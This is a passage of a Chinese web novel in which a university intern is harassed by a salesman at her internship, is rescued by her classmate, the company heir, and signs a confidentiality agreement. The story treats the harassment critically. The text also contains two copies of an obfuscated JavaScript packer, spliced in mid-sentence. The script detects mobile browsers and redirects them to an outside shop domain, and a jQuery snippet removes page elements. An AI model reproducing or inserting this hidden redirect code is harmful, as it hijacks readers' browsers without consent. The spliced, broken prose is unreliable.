祝岁祯撇着胳膊要挣开:“我哪儿也不去,你放开我!” 蔡斤轻轻一拽,就把她拉到跟前,直接抱住了她:“祯祯,祯祯你别走,你听哥说,哥有钱,哥……” 祝岁祯被吓了一大跳,这要被人看见了可还了得? 她拼命挣扎:“你放开我!我喊人了!救……唔唔!……” 蔡斤直接捂住她的嘴,又按又推地把她抵在墙上:“别喊,听哥给你说,哥喜欢你……” “哐当”一声巨响,极沉的防火铁门被谁重重的地锤了一下子,瞬间被打开,祝岁祯被这动静吓得一哆嗦,条件反射闭上眼。 压制着她的力量霎那间消失,一声闷响后是蔡斤的痛呼。 祝岁祯猛地睁开眼,被眼前突然出现的人惊地说不出话来。 “我操你大爷!” 俞惟叙一声爆喝,刚收回拳头,紧接着蓄力就是一脚,踹在蔡斤本来就被打得摇摇晃晃的身上。 蔡斤被这重重的一脚掀到墙根,头“砰”地一声撞了上去。 接二连三的暴击,让蔡斤头晕眼花、天旋地转,一时间动弹不得。 俞惟叙立刻转过来,焦急地按住她肩膀上下打量:“怎么样?哪里受伤了吗?” 祝岁祯懵在原地,半晌才反应过来,摇摇头。 余光瞥见蔡斤身形不稳地站起来,俞惟叙火气正旺,一言不发又要挥拳。 祝岁祯眼看着蔡斤嘴角都是血,怕他被打出个好歹俞惟叙得背责任,眼疾手快地抱住俞惟叙的腰。 “别打了别打了,求你了!” 蔡斤扶着身后的墙,身体肉眼可见地颤抖:“俞总……您怎么来了……” 俞惟叙眼里喷火,指着蔡斤:“你他妈的想死吗?”说着,又要上前揍他。 祝岁祯吓得眼泪飙出来,她小时候见过街上有男人斗殴,打得满地是血,给她留下很深的阴影。于是把俞惟叙抱得更紧,拼命往反方向扯。 “求你了别打了……” 俞惟叙听到她哭腔都出来了,没再往前走。蔡斤头晕缓解了一些,理智恢复后趁机跌跌撞撞往楼下逃命。 狠狠地盯着蔡斤仓皇的身影,直到消失不见,俞惟叙努力平复下剧烈起伏的胸膛,低头看着还用力抱着他腰的女生,安抚地拍了拍祝岁祯头和后背: “没事了。他哪个部门的?我去找他们管事儿的人问责!” 祝岁祯赶快松开手,往后退了一步,胡乱抹了抹眼泪:“销售部的,叫蔡斤。他没把我怎么样,我只是被吓到了而已。你……他会不会找你麻烦啊……” 俞惟叙冷笑:“哼,他来啊!老子怕他吗!操!敢在公司对女员工动手动脚,我要开除他!” 祝岁祯焦急地叹了口气,楼梯间没有监控啊。刚才祝岁祯就是意识到这点,才想赶紧出去到走廊上,但蔡斤把她困在这里了。 祝岁祯小声说:“我没有证据,他不会认的,这里也没有监控……怎么办?” 俞惟叙反应倒快:“没监控?那我刚才应该再揍他几下!” 他转身拉开门,眼前冷不丁出现几个探头探脑的身影。 财务部几个同事被惊醒,来走廊上查看到底发生了什么,这就和俞惟叙撞上了。 “诶?俞……俞总?” 祝岁祯眼睛红红地跟着他出来,下一秒,和同事们惊讶的眼神对上。 她顿时后悔没在里面多待一会儿,这下好了,都知道了。 罗姐也从办公室出来,见到这场景,立刻几步小跑过来:“哎哟!这是……” 俞惟叙认识她,反手拉着祝岁祯胳膊就走了过去,对罗姐说:“销售部蔡斤骚扰她的事你知道吗?多久了?” 罗姐张了张嘴,不知道该怎么说。 祝岁祯赶紧解释:“今天才……罗姐不知道。” 俞惟叙的目光扫过面前这几个人,他们听到俞惟叙说蔡斤骚扰祝岁祯时,先是惊讶,然后是一种微妙的尴尬。 他下了指令:“你们先回办公室,罗姐你跟我上楼。” 说完,俞惟叙轻轻拍了下祝岁祯后背,示意她也跟着。 到了18楼,电梯打开,前台看到俞惟叙立刻问好,俞惟叙让她把人力总监叫上来。 俞惟叙的办公室占地面积很大,灰冷色调的装修风格配上深色地毯,让人觉得这间办公室的主人应该是叱咤风云、纵横商场的精英大佬。 不愧是太子爷,虽然暂且还没什么实职,但逼格拉满了。祝岁祯进来时有那么一瞬间的紧张,忘了前面这个人是她同学。 “你坐那儿。”俞惟叙对祝岁祯指了下沙发,然后就站在旁边和罗姐说话。 “那蔡斤怎么回事?” 罗姐很明显地有些怵他,说话略微打磕巴: “蔡斤总是来财务部找小祝报销单子,爱跟小祝聊天……但是俞总,我真不知道他骚扰小祝,不然我肯定要报告给连总的……” 她又看向祝岁祯:“小祝啊,是不是他私下里找过你?有什么不合适的地方你得第一时间跟我说啊……” 祝岁祯摇摇头:“没有,就今天中午,他突然说要让我办护照,带我出国旅游。我不去,他就……他就动手动脚的。” 罗姐也是没想到蔡斤胆子居然这么大,他一点儿也不知道祝岁祯的背景吗? 她生怕自己被殃及:“俞总,之前蔡斤跟小祝聊天的时候确实爱开玩笑,但我想着大家都是老员工了,应该知道分寸……” 人力总监敲门进来:“俞总,有什么指示吗?” 俞惟叙冷脸道:“销售部蔡斤,骚扰财务部实习生,开掉。” 人力总监愣了一下,转头看到沙发上的祝岁祯,瞬间明白这应该是受害者。 “好的,俞总,没问题,”人力总监又问罗姐,“是在财务部吗?财务部办公室是不是没监控?有聊天信息之类的吗?” 祝岁祯见几个人都看向自己,她捏了捏衣角:“聊天信息……好像没什么能用的,只是比较平常的内容。” 蔡斤最开始要她联系方式,祝岁祯没给,说有什么报销问题当面来找她就行。 后来他缠着要加好友,祝岁祯实在没办法,给了,俩人加好友也就一天。昨晚祝岁祯借口要和爸妈打电话,他也没机会在信息里说什么。 俞惟叙走到祝岁祯跟前,伸出手要她手机:“聊天记录给我看看,也许有证据。” 祝岁祯摸了下口袋,看向他:“手机在工位上。” “去拿。” 祝岁祯犹豫着站起来:“不然……算了吧……没证据是不是不能开除啊?” 俞惟叙却很严肃地看着她:“你先去拿。证据我们来找,不可能放着一颗老鼠屎坏我们一锅粥,无论如何也要让他走。” 祝岁祯赶紧下楼。 她进办公室发现财务部亮着灯,大家都不休息了,叽叽喳喳地聊八卦,祝岁祯进去时立刻变得鸦雀无声。 离她工位最近的一个姐,有点尴尬地问:“那个,小祝啊,你还好吧?” 祝岁祯点点头,拿到手机又出去了。 进了电梯,她解锁手机,突然看到有未读消息。 最近的那条,是俞惟叙的。 【我回来了!一会儿去突击检查你的工作情况】 祝岁祯突然想起来蔡斤喊自己出去时,手机亮的那一下,应该就是俞惟叙的这条消息。 不幸中的万幸!还好他及时出现! 她退回聊天界面后,发现还有一条未读消息。 是蔡斤的,就在俞惟叙发消息前十分钟。那时她在看书,没注意到。 她忍着烦躁点开,看清楚消息里写的什么之后,祝岁祯的神色,在那一瞬间舒展开。 电梯“叮”的一声,提示她18层到了。 她和前台打了招呼后,迅速跑去俞惟叙的办公室拿着手机给他看:“ 蔡斤中午的新消息!我刚看到!” 【祯祯妹妹,喜欢看海吗?哥哥带你出国看海好不好?咱俩定个海景房,有按摩泳池哦~但是肯定没有哥哥的大手按着舒服】 这话要是让她当时看到,起码得把早饭午饭一起吐了。但现在看到,她有种捡了大漏的开心。 证据出现了!敌人上赶着送人头。 俞惟叙看见这恶心人的话,气得他后悔没再踹蔡斤几脚。瞬间又想到祝岁祯会不会还被别的男人骚扰过。 他又往上翻了翻,确实没什么别的。昨天晚上7点多的时候蔡斤发来消息问她在干什么,想聊聊天。祝岁祯回复说要和爸妈打电话。蔡斤说等她打完电话再聊,但没有下文。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“但是呢,咱们公司也需要你稍稍配合一下,签个保密协议。” 男员工递给她几张纸、一根笔。 祝岁祯看着白纸黑字的协议,突然有点莫名的恐惧。 对面的领导说,这个协议主要是为了保护观鱼的声誉,要求祝岁祯不能把今天的事,告诉任何人。 公司不希望这件事被传播到社会上,尤其是一些社交网络平台,担心“键盘侠”戾气重,会添油加醋地说很多不实的内容,对公司的公众形象造成伤害。 随后领导又解释道,她听说同事们对祝岁祯评价很高,而且祝岁祯作为俞总的同学,肯定不会主观去做什么对公司不利的事。 但管控舆情是公关部最重要的职责,她们必须把责任落实。有个保密协议的话大家都放心,对祝岁祯也是个约束。而且保密协议也临时做了修改优化,删掉很多违约责任,毕竟她是俞惟叙的同学。 祝岁祯被这个部门的效率惊到了,这事出了才多久?她们连协议都改好了…… 随后,女总监又说因为祝岁祯的精神多少受到了些伤害,公司会给她一点补偿。为了财务方便做账、也为了应付以后的审计检查,公司会用实习工资和福利的方式发给她。 坐在祝岁祯旁边的另一个女员工在本子上写给她看,首先公司按照两个月的实习期给她做记录,发最高一档的实习工资200元/天,然后再加上交通、用餐、租房、高温补贴……零零总总算在一起,会给她两万块钱。 而且人力给她开的实习证明上会写着是两个月实习期,以后如果去别的地方工作需要背景调查,公司也会配合。 都到这份上了,她还能说什么?签呗。 祝岁祯看完协议,确实没什么特别坑、或者很过分的要求,虽然签协议这件事让她极为不舒服。 但现在这状况,没时间给她仔细琢磨到底是哪里不舒服。 回到财务部,祝岁祯突然发现自己位置上坐了人。 “这你订的?”俞惟叙拿了本凭证在看。 祝岁祯点点头。 她见到他的一瞬间,突然明白自己刚才签协议的时候为什么很不舒服。 她自恋地以为俞惟叙是真为她好,才这么上心地处理这件事。 拜托,俞惟叙可是这家公司的太子爷,他最关心的一定是自己公司的利益。在她下楼拿手机的时候,俞惟叙可能就一通电话,让公关部开始准备保密协议了。 祝岁祯是受害者,但也是麻烦的制造者。 “你手还挺巧的,这活儿我可干不了。”俞惟叙站起来,“你还想继续实习吗?要不然别来了,正好今天星期五,收拾东西早点回去休息吧。” 祝岁祯出了这样的事,她现在对实习也有点犯怵,财务部这么多同事在背后吃瓜,她待着怪尴尬的。 和罗姐交接了一下工作,把私人物品装进帆布包,剩下也没什么可整理的了。祝岁祯顺手拿过入职时信息化部给她的表单,签上名字、日期,和门禁卡一起交给罗姐。 俞惟叙跟她一起走进电梯,按下B1层按键:“我让司机送你。” “你不用处理事情吗?” 俞惟叙转身看她:“我妈回来了,这事就给她办,毕竟我不常在公司。” “哦哦。”祝岁祯问他:“你什么时候回来的?” “刚回来,一落地就来找你了。” “奥运会结束了?” “马术的比完了。而且志愿者也不会跟全程,十天左右。” “哦哦……” 祝岁祯不知道该说什么了,可能是因为刚才一连串的事太受冲击。 俞惟叙悄悄注意着她,也不太敢主动说什么,怕哪句话不对,让她想起那些不好的事。 到了车库,一辆奥迪A8停在电梯口,俞惟叙在她收拾东西的时候让司机下来准备送人。 “谢谢你啦,就到这里吧,拜拜。”祝岁祯在打开的车门前对他说。 俞惟叙想都不想:“那不行,我要给你送回学校,不然我不放心。” 祝岁祯只好跟他一起坐进去。 这个司机似乎已经在观鱼不少年了,见俞惟叙后打了个招呼,然后跟他聊了两句。 俞惟叙不太好在他跟前和祝岁祯聊那件事,打了个哈欠,对祝岁祯说: “时差没调好,太困了,我睡一会儿,到了叫我。” 他抱着胳膊,闭上了眼睛。 车子驶出车库,祝岁祯才发现外面下大雨了。 路边的建筑飞速闪过,车窗上的水线由竖变斜。 祝岁祯原本在看窗户上的水迹,可视线却不受控制地转移到俞惟叙的睡颜。 印象中明亮又漆黑的眼睛,被上下眼皮严丝合缝地覆盖着。头发长了,额前碎发虚虚拢着高高的眉骨,随着车身细微的晃动,发梢尖儿对着浓密的睫毛招了招手。 侧脸的线条像连绵险峻的山脉,鼻梁下颌如同刀削斧刻的雕塑,半年没见,这个男生长得越发成熟了。 祝岁祯转过眼,想起中午在闷热的楼梯间里,俞惟叙那堪称活阎王的表情……完全像暴起的狮子一样。 蔡斤属于常规款中年油腻男,肥胖啤酒肚是标配,想必体重不轻。但俞惟叙一拳能把他打得歪七扭八,一脚又把他踹到墙根。 她瞥了眼俞惟叙短袖下的胳膊,即便放松,好像也蕴含着巨大的力量。再看看自己弱鸡一样的细杆子,怎么看怎么嫌弃。 学校健身房办卡多少钱来着?回去瞧一眼。要是价格合适,等“封口费”发下来,她要去健身房挥霍!投资自己! 请健身房的各位器材大神赐予我力量吧!我祝岁祯再也不想任人宰割了! 她幻想着自己练完以后,就是奥运会举重赛场上的冠军,大喝一声挺举起二三百公斤的杠铃。再有猥琐男敢近她的身,祝岁祯直接亮出自己的肱二三四五头肌,一拳把他打飞到什么冲绳岛、富国岛的海里喂给食人鱼。 她还幻想着俞惟叙因为炫富,被三五个瞧他不顺眼的强壮小混混堵在角落。正在他寡不敌众的危难之际,祝岁祯如神兵天降,膀大腰圆、肌肉发达,把小混混们吓得屁滚尿流,从此以后俞惟叙见到她,服服帖帖地叫她大姐大…… 可祝岁祯突然想起,自己连体测八百米都搞不定。跑完要死要活、满嘴血腥味、咳得气管疼…… 果然,幻想只能是幻想。 28. 第二十八章 车外下着大雨,车里三人安静如鸡。祝岁祯没事干,就拿出手机,和爸妈以及舍友们汇报自己实习提前结束了。 理由是觉得实习的工作都太无聊、太简单了,浪费时间。 爸妈有些不高兴。工作嘛,哪里有各方面都称心如意的?才实习几天就不干了,给人家公司带来麻烦,多不好啊。 祝岁祯没法儿跟他们说实情,只说自己和公司都商量好了。 舍友们倒是都很开心,说她终于不用大夏天的跑来跑去挤公交地铁,赶快躺宿舍歇歇。 祝岁祯跟她们说爸妈批评她了,舍友们纷纷为她抱不平:才大一啊,能想着去实习就已经比同学们强很多了好吗?而且这不是鱼仔军训时欠她的人情么,他还了就行了,祝岁祯去体验体验也就可以了,没必要真实习够一个月。 还得是舍友们啊,祝岁祯心里的阴霾瞬间被扫走好多。 祝岁祯扭头看窗外,发现好像已经不下雨了。不知道是因为距离原因,还是夏天的雨原本就下得快、停得快。 北京因为面积大,有时这个区下雨下冰雹、那个区却是大晴天。有时候天气预报说有雨,但海淀却迟迟没动静。 车子在M大东门停下,司机转头看了眼她,似乎在用眼神询问要不要进去。 祝岁祯瞧俞惟叙睡得正沉,大概真是困得不行了,就没忍心叫醒他。 她跟司机打了个手势,表示自己就在这里下车。 关车门的声音很轻,但还是把俞惟叙吵醒了。他猛地睁眼,发现旁边位置已经没人了,车子停在学校东门,祝岁祯的背影一闪而过。 他立刻开门下车,祝岁祯听见动静转头。 “别下来了,直接回家吧,谢谢你送我回来。” “我送你到宿舍。” “诶,不用了……” 俞惟叙摆了摆手,把她的话打断,跟她一起进入学校。 雨后的树木花草颜色格外鲜亮,平时仿佛粘着一层灰似的。空气湿润,温度难得宜人,祝岁祯不用快步回宿舍躲高温。 两人慢悠悠地散步,地面薄薄的积水映出他们的影子。 “当志愿者累吗?”祝岁祯先打破了平静。 “不累,每天帮忙搭把手搬东西、发物料、引导观众、解答问题指路什么的。就是太热了……但挺新鲜的。” “你一个富二代去当志愿者,确实挺新鲜的。” “啧。”俞惟叙淡淡笑着瞥了她一眼,“讽刺我。” “没有没有,”祝岁祯解释道,“之前打视频看你当志愿者,那时候因为觉得你跟我一样是学生,所以没觉得有什么。” 她抿嘴笑了一下:“但是今天,在公司里大家都叫你俞总,身份变化太大,就没办法想象‘俞总’去当志愿者的场景了,有点割裂。” 俞惟叙如同心灵导师一样:“人生,就是要有各种各样的体验。” 祝岁祯忍不住道:“哎呀,那很遗憾了,你这辈子没机会体验穷人的生活。” 他挑了挑眉:“很简单啊,只要我作死惹我妈生气,人家把我卡一停,我就得喝西北风了。” 说完,转身看向她:“到时候,可得求祝总收留我了。” 祝岁祯无奈道:“我?收留你?怎么收留?让你住我们宿舍阳台?” 他咬了咬牙,像是下定了决心:“也行,夜里凉,麻烦给我个被子……” 祝岁祯笑了起来。俞惟叙看着她阴云转晴的样子,庆幸这冷白冷白的小脸上终于有了些神采。 天知道他多担心,生怕祝岁祯因为蔡斤这事受到刺激。 他下了飞机就直奔观鱼,到了财务部门口却发现门关着,这才想起来员工们可能在午休,怪不得祝岁祯没回他消息。 他不好进去打扰,沿着走廊踱步到尽头楼梯间门口,给她发消息。 还没发出去,他疑惑地抬头,隐隐约约听到楼梯间里有人在说话,什么买包、海岛之类的……隔着门听不太清。 他原本没兴趣偷听员工聊天,正准备转身走,突然里面女生说话的声音变大,似乎生气了。 俞惟叙顿时愣在原地,怀疑自己是不是听错了。 怎么这么像祝岁祯的声音? 他又转了回去,走近些想听得更清,结果里面竟然传来祝岁祯的呼救声,被人捂住了,有个男的还叫她“祯祯”。 俞惟叙瞬间火起,暴力锤开门,面前的景象让他目眦欲裂。 祝岁祯那么瘦瘦弱弱的一只,被膘肥体壮的男人按在墙上,可怜又无助地拼命挣扎。 那个让他怜惜又在意的女生、让他忍不住出手帮助的女生,此时此刻却在他的地盘上,被他公司里的人欺负。 接下来的发展就完全出于本能而非理智了,要不是祝岁祯死死地抱着他,蔡斤绝对要躺着出观鱼的门。 尽管这事已经差不多过去了,公司的人肯定能处理好。但俞惟叙却越想越气,他明明告诫过祝岁祯少和男人聊天—— 她没照照镜子吗?看不到自己生了张招惹人的脸吗?对异性不要太给好脸色。和颜悦色地多聊一句,对方就会以为和她有进一步发展的可能。 当男人无耻地缠上来、得寸进尺地贴上来,你一个柔柔弱弱的小姑娘怎么反抗得了? 可他又没办法现在跟她说这些话,女孩好不容易心情好了些。 他没头没脑地问了句:“你是什么座的?” 祝岁祯条件反射地回答:“人肉做的。” 俞惟叙愣了一下,随即笑得不行,祝岁祯却十分淡定。 她每年都会被人以各种话术搭讪,其中问星座可以排在搭讪话题的top5。这个回答也是她用了很多年的话术。 “行吧,其实星座好像也不太准,这两年流行聊MBTI,你测过你的吗?” 祝岁祯从梦梦那里听到过这个十六型人格测试,说韩国人玩这个都玩魔怔了,但她不感兴趣。 “没有,据梦梦说我是I人,然后是J人,中间那俩不知道。” 俞惟叙摸着下巴分析:“那你肯定是个T。” 祝岁祯:……???大兄弟,这话对吗? 她无语地把帆布包肩带往上提了提:“你说的是性格,还是性向?” 俩人对着傻笑了一会儿。 暑假的校园几乎没什么人,空旷得像是单独为他俩准备的一样。到宿舍门口,祝岁祯掏出校园卡,俞惟叙发现她又换卡套了。 “你大夏天的,为什么用个毛茸茸的卡套啊?” 他震惊之余,拿到手里前前后后看了看。应该是个小狗吧?垂着俩大耳朵。 “这是梦梦的,装她爱豆小卡的卡套,用腻了要扔,我觉得还挺好看的就要来了。” 俞惟叙把卡套还她:“你跟周梦津玩得真好啊,三句话不离你家梦梦。” 祝岁祯指了指自己的帆布包:“我和舍友们都挺好的,这是小羊送我的。” 她又掏出宿舍钥匙,指着上面的挂件:“这也是小羊……” 俞惟叙看着她如数家珍,无奈道:“你怎么净捡人不要的。” 祝岁祯理直气壮:“她俩太能买了,又喜新厌旧。但是东西好好的呀,干嘛扔呢,我和远文就重新用起来,即省钱又节约。” 俞惟叙本想说点什么,但突然想起来自己的卡套也是管人家祝岁祯要的、自己在国内时用的也都是从老妈那里淘汰下来的,好像没什么资格吐槽。 彼此彼此罢了。 宿舍门前小花坛里的草尖上缀着雨珠,晶莹剔透地反射着光,俞惟叙看着看着,突然又想起话题:“你准备回家吗?还有二十来天才开学吧。” 祝岁祯摇摇头,往返车票得花不少呢:“不回了,就在学校待着吧。导员不是说让大家考虑分流选什么专业么,我这两天再搜搜资料,得定下来。” “你要选什么专业?”俞惟叙有点期待地看着她。 祝岁祯不好意思地说:“嗯……虽然,我知道我笨啦,但是我想选金融工程。正好你在,帮忙参谋参谋呗?金工是不是挺难的啊?” 俞惟叙一听她想选金工,眼睛亮了一下,他努力控制住表情不让自己显得开心: “嗯,有点难,得学编程,偏量化和建模。但我记得你最新的排名是年级第四吧?这不挺厉害的么。没事,我也选金工,你有不会的问我就行了。” 她叹了口气:“唉,年级第四只是暂时的,你不在学校不知道,年级前十里面,除了我,别人过得都可精彩了,不是出去旅游、就是参加社团学生会。 “只有我,跟又上了个高中似的,天天闷在宿舍学习。可见我有多笨了吧,花这么多时间,才跟别人随便学学一个水平。” 俞惟叙不以为然:“那又怎么了,管他花多久呢,知识会了、名次拿到手就行,结果更重要。” 祝岁祯抿了抿嘴:“话是这么说,但别人如果也开始努力,那我的名次可就不保了……咱院都是学霸。” 看着祝岁祯絮絮叨叨地诉苦,俞惟叙笑了: “哎哟,这就开始灰心了?你跟我去牛津剑桥看看,大神在那里也是普通人。大神之中的大神,又会被诺奖、菲尔兹奖得主什么的压一头。想好自己要什么,专注自身,不要和别人比,你比不过来的。” “嗯……”祝岁祯点点头,和俞惟叙道别后回宿舍。 -.- 凌晨三点,祝岁祯惊醒。 太吓人了刚才那个梦,她深呼吸才能慢慢平静下来,翻了个身,把夏凉被团成一团抱在怀里。 梦中,她在观鱼订凭证,一个没有脸的女人抱着一个没有脸的孩子,见到她就打。那女人没说话,祝岁祯却知道是蔡斤的老婆孩子,一边躲一边解释自己没有招惹她老公。 周围的同事对着祝岁祯指指点点,还有其他楼层、别的公司的员工来看热闹,说这个学生刚来实习没几天,就勾引公司的男员工,一定要让她赔钱才能同意她离职。 这时俞惟叙和他妈妈来了,对祝岁祯一点儿好脸色都没有,俞惟叙还说要告诉导员,让导员打电话叫她爸妈来学校。 只是模糊地回想了一下梦里的场景,祝岁祯就害怕地抱紧了小被子。 她拿起手机,想看点搞笑的小视频转移注意力,结果却看到俞惟叙一小时前发了个朋友圈。 没有文案,没有定位,只是几张照片,有站在看台拍马术比赛的,带着头盔身穿黑白骑士服的运动员在场地上策马跨栏。 还有看着像相机拍的巴黎铁塔和卢浮宫,这是她第一次在朋友圈里看到这些世界级地标建筑。 看完这几张照片,祝岁祯梦里那个可怕的俞总不见了,取而代之的是文艺青年鱼仔同学。 她点了个赞。 刚退出聊天软件,俞惟叙的语音电话就弹了出来,吓她一跳。 祝岁祯:“嗯?” 俞惟叙:“怎么还不睡?” 祝岁祯:“唉,醒了。” 俞惟叙顿了一下:“你……哭了?” 祝岁祯:“没有啊?” 俞惟叙:“听你声音怪怪的。” 祝岁祯:“刚醒,嗓子有点哑可能是。”她清了清嗓子,下床去拿水喝。 俞惟叙:“又有人把你吵醒了?” 祝岁祯:“不是,做噩梦了,哈哈,梦到蔡斤老婆孩子来公司打我。” 俞惟叙:“啊?那你叫保安了吗?一楼有保安。” 祝岁祯:“一楼?不是诶,在财务部门口好像。” 俞惟叙:“那不对啊,这俩人上不来。” 祝岁祯:“做梦哪有什么逻辑可言,反正她们俩就是来打我了,然后周围没有一个帮我说话的。” 俞惟叙:“你在你自己的梦里,人缘这么差吗?现实肯定不是这样的,会有很多白马王子挡在你身前保护你。” 祝岁祯:“切。大家只会独善其身,我可是有经验的。” 俞惟叙:“怎么可能呢?你有什么经验?我不就挺身而出了么。” 祝岁祯本来想反驳他,她当然有切身的痛苦经历,但转念一想,何必跟他说呢,她连关系这么好的舍友们都没提过。 祝岁祯:“你跟别人不一样好吗?你可是老板,处于至尊无上的优势地位。这公司里的人随便你拿捏。” 俞惟叙:“我以为你不知道呢。你既然知道,怎么还忍得了蔡斤找你聊着聊那的?我下午问了公司里的人,他们说蔡斤天天找你,你怎么不让他滚蛋?” 祝岁祯:“我……我有我的理由……” 俞惟叙:“来来来,你说,我听着,我今天可闲了。” 祝岁祯:“第一,他来找我的时候,都是拿着单子来报销的,那我职责所在,不能不管啊。” 俞惟叙:“嗯。” 祝岁祯:“第二,他也就嘴上说说,没什么过分的举动,我也不好太敏感,搞得我自作多情似的。他是今天中午才突然动手的,我没防备……” 俞惟叙:“嗯。” 祝岁祯:“第三,他在公司待这么多年了,我想着他可能业绩比较突出或者有什么背景呢……我爸妈的单位也有这种人,大家都看不惯但没办法。我一个实习生,还是不要搞事情了吧,反正就一个月,实习完了谁认识谁呢。” 俞惟叙:“嗯。” 祝岁祯:“最后,我一个大一的,能有个好公司的实习机会不容易。我爸妈之前都说了,像我这种什么活儿也没干过的,去了人家指不定多嫌弃呢,就别挑三拣四了。我哪儿还敢怼人家正式员工啊。” 俞惟叙:“说完了?” 祝岁祯:“昂。” 俞惟叙长叹一口气:“祝岁祯呐祝岁祯,你让我说你什么好?” 她想了想:“嗯……你可以夸我。你看我思考得是不是很周全?你都帮忙给我实习了,那我也不能给你添麻烦呀?虽然最后还是添麻烦了……” 俞惟叙恨铁不成钢:“你知道吗?你去实习前,我让秘书专门嘱托财务和人力,告诉他们要罩着你。” 祝岁祯:“啊?呃……倒也不用……” 俞惟叙:“我想着应该没问题了吧,虽然不至于让你在公司横着走,但起码你能接触到的人,没有敢欺负你的。怎么还能出意外啊?” 祝岁祯:“……” 俞惟叙:“我知道你想学点东西,所以让她们手把手教你。不儿,你学会就行了,有必要那么认真干活儿吗?怎么着,想篡位当财务总监?” 祝岁祯嘟囔:“我学金融的……干不了财务总监……” 俞惟叙:“这是重点吗?而且我告诉你,我们那财务总监是学法律的。人家自学了注会从基层一步步做上来的。” 祝岁祯:“……” 俞惟叙无奈道:“我真服了,你说说你啊,都有这么硬的后台了,还能窝囊成这样?就这么让人欺负你?你要去别的公司可怎么办啊,我都替你愁。” 祝岁祯:“那我能怎么办啊……万一欺负我的是领导呢?辞职吗?可是如果我好不容易去了一个特别牛的公司呢?” 俞惟叙:“唉,如果工作业务上,上司压迫你了,你为了薪资和前途忍气吞声我可以理解。” 俞惟叙:“像这种工作之外对你的人身攻击、骚扰、侮辱诽谤等等,别说就他蔡斤一个小小的中层职员,就算是公司的一把手大老板,别犹豫,你给我干他就完事儿了!” 俞惟叙:“收集好证据,和上级投诉、去起诉,这是法律和公司规章制度给你的保护和权利,你要用啊!” 祝岁祯以为他能有什么厉害的方法呢……不过如此。 本来做了噩梦心情就差,结果被他半夜直接打电话又噼里啪啦教训一通,她整个人烦得不得了,也顾不得什么语气了。 祝岁祯:“你说得简单,我问你,你经历过吗?有人骚扰过你吗?” 俞惟叙没说话。 祝岁祯:“道理你懂,我难道不懂吗?你知道我从小到大,爸妈不在身边的时候,是怎么小心翼翼跟那些讨厌鬼周旋的吗?” 祝岁祯:“你说的那种情况,太简单了!事实上像蔡斤这种人,滚刀肉一样,专挑游离在骚扰边缘的话跟你讲,你抓不到实际证据的!如果贸然行动,会被反打一耙,人家还告你不正经、毁人清誉呢!” 她越说越气,眼眶发红,整个人不停地颤抖。 要不是她这些天对蔡斤态度不错,让他放松了警惕,才给她发了那样的消息,否则这个证据也难抓。 祝岁祯:“像昨天中午,他手都摸我身上了,可假如你不在,我能怎么办?有监控吗?有目击者吗?什么都没有!难道就凭我一张嘴吗?” 她想起当时那无助又害怕的场景,鼻子一酸,眼泪掉了下来。 祝岁祯:“为什么要怪我?我做错了什么?我只是想维护好人际关系,不想让人觉得我走后门进来还这么多破事……” 俞惟叙:“我没有怪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17313102|198895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你!我怎么会怪你?我只是觉得你想的太多了!你原本不用受到这样的伤害,明白吗?有一点苗头的时候你就该掐死,让他滚。” 可她想起自己被带去小会议室签下的保密协议,瞬间委屈到了极点。 祝岁祯:“你有!你就是怪我了!你们都在怪我,怪我给你们惹麻烦了!怕我影响你们公司的形象……” 她话说一半,立刻意识到自己在拿俞惟叙发脾气。人家让她签协议天经地义,她既然签了、拿了钱,就别再唧唧歪歪的。 深呼吸了几次,祝岁祯赶紧擦掉眼泪平复心情。 她稳了稳语调,变得冷静:“抱歉,我知道该怎么做,以后会小心的。我要休息了,不打扰你,拜拜。” 敷衍完,她在情绪失控前挂了电话。 “祝岁祯!祝岁祯!我……” 俞惟叙看着已经结束的通话时长,暗叹晚了一步。 他颓丧地躺在床上,骂自己真是多嘴。她该多害怕才会做噩梦啊,自己应该安慰她的。 可现在祝岁祯正在气头上,他怕惹得人更不高兴,连个表情包也不敢发。只能进朋友圈里,看着那条仅她可见的动态下面的赞,发呆。 清晨,太阳升起,金融大街两侧的写字楼被照耀得闪闪发光,一缕阳光透过太平桥大街旁中海凯旋一户人家的窗帘缝隙,在大理石拼花地砖上投射出长长的光影。 俞况打着哈欠从卧室出来,被客厅里抱着猫、盯着静音电视大屏、双眼无神的儿子结结实实吓了一大跳。 “你!不睡觉干什么呢!” 俞惟叙顶着两个黑眼圈,声音死一般的平静:“我在倒时差。” 俞况抚了抚胸口,一边抱怨一边去厨房: “这倒霉孩子,差点儿被你吓出心脏病!对得起我国伟大的天文科技事业吗你?我可是未来著名的天文学家……” 俞惟叙上午估摸着祝岁祯应该醒了,搜集了一下金融工程的书籍课本,整理了个书单,发给祝岁祯。 祝岁祯回复:【谢谢,我会好好看的】 俞惟叙这才放下心。 周一,俞惟叙去了公司,蔡斤的事情终于处理完了,人力告诉他,公司会给祝岁祯一些工资上的补偿。 他点点头,没再理会这件事,公司的人处理起来比他专业。更何况,他又要飞伦敦了。 -.- 过了几天,分班结果出来。 因为金融工程的课程很难,大家都倾向于少花点时间在课业上,多趁大学时光丰富人生体验或者去实习考公考证,所以选金融工程专业的很少,这届一百个人,也就二十个选金工的。 但历届如此。 国内的金融工程,和国外差距太大,而且又开设在M大这样一个中档次的985院校,多少有点鸡肋了。 真正做量化、估值模型或者金融科技产品的公司,招聘几乎只要top2院校的理科状元竞赛保送生、或者国外排名前十院校的计算机专业学生。在M大学金工,可以说是吃力不讨好。 